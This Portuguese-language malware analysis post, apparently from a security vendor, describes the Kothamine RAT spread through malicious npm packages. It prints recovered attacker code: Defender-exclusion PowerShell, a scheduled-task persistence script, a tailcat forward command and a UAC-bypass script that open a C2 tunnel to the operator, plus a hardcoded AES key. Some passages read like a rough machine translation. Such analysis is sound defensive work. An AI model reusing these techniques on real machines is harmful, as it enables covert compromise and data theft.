Descobrimos um Trojan de acesso remoto (RAT) não documentado chamado Kothamine Agent . Suporta mais de 30 comandos e dá aos atacantes o controlo de um sistema infetado. Windows computador: podem executar comandos, ler e modificar ficheiros e adicionar novas funcionalidades. Algumas versões podem também roubar dados do browser e gravar através da câmara e do microfone.
Verificámos que o Kothamine está associado a pacotes npm maliciosos, o que pode colocar em risco os utilizadores e os programadores que instalam estes pacotes. Nas versões recentes, o malware utiliza o tailcat , uma ferramenta de código aberto da Tailscale, para receber comandos através de uma ligação encriptada. Isto dificulta a inspeção das suas comunicações e impede os defensores de bloquear um domínio de comando e controlo (C2) convencional.
Com base nos uploads do VirusTotal e nos commits do GitHub, o Kothamine parece estar em desenvolvimento ou distribuição desde pelo menos julho. As versões anteriores utilizavam o Tailscale. VPN em vez do tailcat. Dependendo da versão, o malware inclui as ferramentas de rede ou descarrega-as de fontes como o GitHub.
Como se manter seguro
Antes de instalar um pacote npm desconhecido, verifique o seu repositório, os mantenedores, as dependências e as versões recentes. Procure relatos de atividades maliciosas e dê preferência a pacotes com histórico consolidado e manutenção regular.
- Verifique o nome com atenção. Certifique-se de que não está a descarregar um pacote falso com um nome semelhante.
- Verifique o programador ou a organização e certifique-se de que a editora parece legítima. Veja, por exemplo, se ela tem um site ou um repositório no GitHub.
- Leia algumas avaliações, problemas e relatos. Pesquise o nome do pacote no Google e verifique se há relatos de possível malware detetado.
- Veja como ele é popular. Um pacote com muitos downloads e utilizadores é geralmente mais fácil de verificar do que um pacote totalmente novo, sem quase nenhum histórico.
Análise técnica
Kothamine e os pacotes maliciosos npm
O Kothamine está escrito em C e C++. Na maioria das amostras que analisámos, é constituído por um injetor e uma DLL contendo o agente. O agente suporta mais de 30 comandos, permitindo ao operador controlar o sistema infetado e carregar DLLs adicionais para ampliar as suas capacidades.

O agente Kothamine sofreu algumas alterações ao longo do tempo. As versões anteriores que se encontravam no VirusTotal utilizavam o Tailscale. VPN em vez de tailcat, e as strings não estavam encriptadas. Algumas funcionalidades, incluindo uma forma de contornar o Controlo de Conta de Utilizador (UAC) e os comandos de roubo de dados, foram apenas detetadas em determinadas versões.
Em algumas versões, o Kothamine descarregava os ficheiros do Tailscale do site oficial do Tailscale ou de um repositório do GitHub, em vez de os incluir no agente.
O mesmo repositório GitHub é citado em um conselho sobre um pacote npm malicioso chamado dotnet-runtime-baseO pacote de download npm-sc-legit.exe desse repositório. À data da redação deste texto, outros dois pacotes publicados pelo mesmo programador tinham sido removidos.

Os autores destas campanhas cometeram um erro e publicaram instruções para a compilação. kothamine-stub-cpp num dos pacotes. O guia aborda também o carregamento de assemblies .NET, algo que não observámos nos exemplos que analisámos.

O npm-sc-legit.exe O executável é uma versão compilada do Kothamine que também contém comandos para roubar dados. Não encontrámos um painel ou construtor para o Kothamine, mas as características presentes nas diferentes versões sugerem que os operadores podem ativar funções e comandos específicos, conforme necessário.

A análise que se segue centra-se numa amostra recente do Agente Kothamine que utiliza o tailcat para comunicação C2.
Como funciona o agente Kothamine
Nas versões analisadas, um executável internamente denominado Kothamine Injector injeta a DLL do Kothamine Agent, normalmente em explorer.exeTambém fazemos referência a versões anteriores para mostrar como o agente mudou.
1. Injetor de Kothamine
O injetor de kotamina realiza as seguintes operações:
- Adiciona Windows Exclusões do Defender utilizando o PowerShell
- Copia-se a si própria para
%ROAMING%\MicrosoftEdgeUpdateCore.exe - Extrai a DLL do agente para
%ROAMING%\MicrosoftEdgeUpdateCore.dll - Cria
up.ps1em%TEMP%para persistência - Injeta a DLL do agente em
explorer.exeusandoOpenProcess,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread, eLoadLibraryA

explorer.exe O up.ps1 O script cria uma tarefa agendada para obter persistência utilizando o executável Injector:
$A=New-ScheduledTaskAction -Execute 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe'
$T=New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask 'MicrosoftEdgeUpdateTask' -Action $A -Trigger $T -RunLevel Limited -Force
2.º Agente Kothamine
Agente iniciante
O agente cria um mutex chamado Local\KothamineAgentInstance e inicia o seu fio condutor principal.
Em seguida, executa comandos PowerShell para adicionar o executável e a DLL ao Windows Lista de exclusão do Defender:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\Desktop' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionProcess '{PROCESS_NAME}.exe' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue"
Algumas das versões detetadas não possuem strings encriptadas. Outras, no entanto, possuem strings encriptadas utilizando uma simples operação XOR e uma chave XOR dedicada para cada string.


Comunicação C2 usando tailcat
A característica distintiva do Kothamine não é a complexidade técnica, a funcionalidade do agente ou a ofuscação, mas sim a utilização do Tailcat e do Tailscale. VPN para receber comandos a executar. Este proporciona ao agente um canal de comunicação resiliente e encriptado.
O Tailcat é um projeto de código aberto recente, lançado pela equipa da Tailscale. O Tailcat utiliza o plano de dados da Tailscale (WireGuard, NAT traversal e DERP), mas sem o seu plano de controlo. De acordo com a documentação oficial, isto significa que o Tailcat não tem endereços IP, contas, administradores, utilizadores, controlos administrativos ou governação. Estas características tornam-no, portanto, uma ferramenta atraente para utilização em malware.
Ao contrário da escama da cauda VPN O Tailcat não exige conta nem registo de dispositivo. Os seus desenvolvedores projetaram-no para conexões de curta duração.
Como não existem contas, o acesso baseia-se na posse de um endereço tailcat e das chaves públicas utilizadas para identificar os dispositivos de ligação. Isto não torna a ligação completamente anónima: os servidores de retransmissão alojados podem reter registos de metadados.
O tc-address O parâmetro `forward` permite ao cliente obter as informações necessárias para encaminhar corretamente o pedido. Além disso, o `tailcat` não requer acesso privilegiado à máquina, uma vez que utiliza a ferramenta de linha de comandos (CLI) e bibliotecas do espaço do utilizador.
Nas versões recentes do Kothamine, o agente extrai o tailcat dos seus recursos e guarda-o como %ROAMING%\TailscalePortable\tailcat.exe.

O executável tailcat é iniciado com o CreateProcessA função e os seguintes parâmetros (internamente designados como spawn_tailcat_forward fase):
"C:\Users\{USER}\AppData\Roaming\TailscalePortable\tailcat.exe" forward tc…. 18080:4444
Este comando disponibiliza as portas do servidor tailcat como portas TCP locais padrão (18080 (neste caso) e os pedidos são encaminhados para a porta 4444 do nó operador. O Kothamine utiliza funções de socket para se ligar a 127.0.0.1:18080, onde o gato-de-cauda está a ouvir.
Se a string de ID do agente não estiver vazia, o agente enviará um pedido de perfil encriptado contendo as seguintes informações (run_c2_loop fase):
{"name":"base_<rand()>","os":"Windows","ip":"0.0.0.0","auth_token":"af27..,"type":"base"}
De seguida, o agente entra num ciclo infinito para receber comandos para executar do C2 (run_c2_loop fase). O agente aguarda novos comandos para executar utilizando o select A função socket envia periodicamente mensagens KEEP-ALIVE no caso de não ser recebido qualquer comando.
As mensagens trocadas com o C2 são encriptadas e desencriptadas usando o AES-GCM (aes_encrypt fase).
A chave AES de 32 bytes é descodificada em base64 a partir da string (c2_key fase):
mrowPsW2P5kzFGCNWeKAd+kYpo8Yy5c2pzaOSRuzisU=
Comandos suportados
Nesta versão, o agente Kothamine suporta 30 comandos. relacionado com:
- Interação com processos
- Interação com ficheiros e diretórios
- Executar comandos shell
- Ampliar a capacidade do agente com base nas DLL recebidas.
| Nome do comando | Descrição |
sysinfo/systeminfo, curpid | Retorna informações do sistema, como PID, caminho atual, nome do host e sistema operativo (definido no código). |
tasklist, kill | Retorna os processos obtidos através de “ tasklist /FO CSV /NH ”. Termina o processo especificado pelo PID utilizando “ taskkill /F /PID ”. |
ping | Teste de funcionamento: “Pong” regressa ao C2. |
ipconfig | Executa o comando “ ipconfig /all ” e devolve o resultado. |
exec, shell_exec | Executa os comandos da shell com _popen() e envia a saída de volta. |
mkdir, rmdir, cp, mv, cd, ls, dir, pwd | Interage com ficheiros e pastas no sistema. |
writefile_start, writefile_chunk, writefile_end, writefile, readfile, createfile, delfile, download | Lê, escreve e apaga ficheiros arbitrários. |
load_feature | Escreve e carrega uma DLL codificada em base64 recebida. A DLL é carregada utilizando LoadLibraryA e o método “ GetFeatureApi ”, resolvido através de GetProcAddress , é executado. Guarda os ponteiros de função necessários para executar a função. |
exec_feature, features, list_features, unload_feature | Interage com os recursos carregados para os visualizar, executá-los ou removê-los. |
Dado que os restantes comandos são comuns aos outros agentes, o foco da análise está no sistema de "plugins" que permite ao operador receber DLLs e ampliar a funcionalidade do agente.
Sistema de plugins
Para carregar uma nova DLL, o operador utiliza o comando:
load_feature <name> <B64EncodedDLL>
Em termos gerais, o processo funciona da seguinte forma. O código e os nomes das variáveis abaixo foram reconstruídos a partir dos registos de utilização e de saída.
- Em primeiro lugar, o agente verifica se a funcionalidade já foi carregada e, em caso afirmativo, descarrega-a:
if (g_features.find(name) != g_features.end()) {
send_text("[!] " + name + " already loaded, unloading first");
unload_feature(name);
}
- Tenta criar a DLL recebida num local obtido através de
GetTempPathouSHGetFolderPathAou no caminho codificado.C:\Windows\TempGrava a DLL descodificada e carrega-a comLoadLibraryA.
- Resolve e executa o
GetFeatureApimétodo da DLL carregada:
pGFA = GetProcAddress(hModDLL, "GetFeatureApi");
if (!pGFA) {
send_text("[!] GetProcAddress(GetFeatureApi) failed, lastError= …");
FreeLibrary(hMod);
return 0;
}
api = pGFA();
Não encontrámos uma DLL que nos permitisse analisar completamente a estrutura devolvida por GetFeatureApiNo entanto, ao analisar o código e as strings, identificamos os seguintes campos:
/* Function used for C2 callback */
typedef void (*FeatureSendCb)(void *data, int len);
struct FeatureApi {
char *version;
char *name;
void (*init)(FeatureSendCb send);
void (*exec)(char *args, FeatureSendCb send);
void (*cleanup)(void);
};
Os ponteiros para a DLL carregada e para a estrutura devolvida são guardados no ambiente global. variável chamada internamente g_features, utilizando esta estrutura:
struct LoadedFeature {
void *hModule; /* Loaded DLL */
struct FeatureApi *api; /* Pointer returned by GetFeatureApi() */
};
- Executa o
initfunção contida na estrutura retornada, passando-lhe a função utilizada para a comunicação C2:
send_text("[!] calling init...");
api->init(*feature_send_callback);
send_text("[!] init done");
Após o carregamento da funcionalidade, o operador pode executá-la através do comando:
exec_feature <functionName> [args]

exec funçãoDiferentes builds de Kothamine: Tailscale VPN , Desvio do UAC e comandos de roubo
Como referido anteriormente, detetámos versões do Kothamine com diferentes capacidades.
As versões anteriores utilizavam a escala de cauda. VPN antes do lançamento do Tailcat. Descarregaram e executaram o instalador do site da Tailscale com o /quiet e /silent flags, ou descarregaram os ficheiros necessários diretamente do GitHub. Isso incluía tailscaled.exe, tailscale.exe, tailscale-ipn.exe, e wintun.dll.

Algumas versões ignoram o Controlo de Conta de Utilizador (UAC) utilizando fodhelper.exe para executar elevated.ps1No exemplo abaixo, o script PowerShell inicia um Tailscale. VPN ligação:
$tsdir='C:\Users\{USER}\AppData\Roaming\TailscalePortable'
$ts='""'+$tsdir+'\\tailscale.exe""'
$tsd='""'+$tsdir+'\\tailscaled.exe""'
Start-Process -WindowStyle Hidden -FilePath $tsd -WorkingDirectory $tsdir
$connected=$false
for ($i=0; $i -lt 45; $i++) {
Start-Sleep 2
try { &$ts up --unattended=true --auth-key='tskey-auth-…' 2>&1 | Out-Null } catch {}
$ip=(&$ts ip 2>&1 | Out-String)
if ($ip -match '100\.') { $connected=$true; break }
}
O agente liga-se então à porta. 4444 num endereço IP de rede Tailscale (100.x.x.x) e começa a receber e a executar comandos.

fodhelper.exePor fim, como já referimos anteriormente, as diferentes versões do Kothamine suportam outros comandos. Por exemplo, a versão enviada para o GitHub inclui comandos adicionais, tais como: getdiscord, getsessions, screenshot, screenshare, e cameraIsto permite que os operadores:
- Roubar cookies de vários browsers
- Roube ficheiros JSON relacionados com jogos, incluindo ficheiros associados ao Steam e ao Minecraft.
- Faça capturas de ecrã e grave vídeos utilizando a câmara e o microfone.
- Aceder ao conteúdo da área de transferência
Indicadores de comprometimento
hashes SHA-256
ec4219a7ecf132c29080fbb20e4ab410c57faa85aeed7acade1eb15d905a6ee0Injetor de Kothamine analisado no blog74eca3973ad72a6ddc9397aff8250d9ee287211fc9a055d5ee290d01cf76a70cAgente Kothamine analisado no blog
URLs
https://github[.]com/cphc811-ui/Repositório utilizado para descarregar executáveis e DLLs associados ao Tailscale. VPN
Agradecimentos
Aviso da Mondoo sobre o pacote npm analisado .
Navegue como se ninguém estivesse a ver.
VPN Malwarebytes Privacy VPN a sua ligação e nunca regista o que faz, para que a próxima notícia que ler não pareça dirigida a si.Experimente gratuitamente →




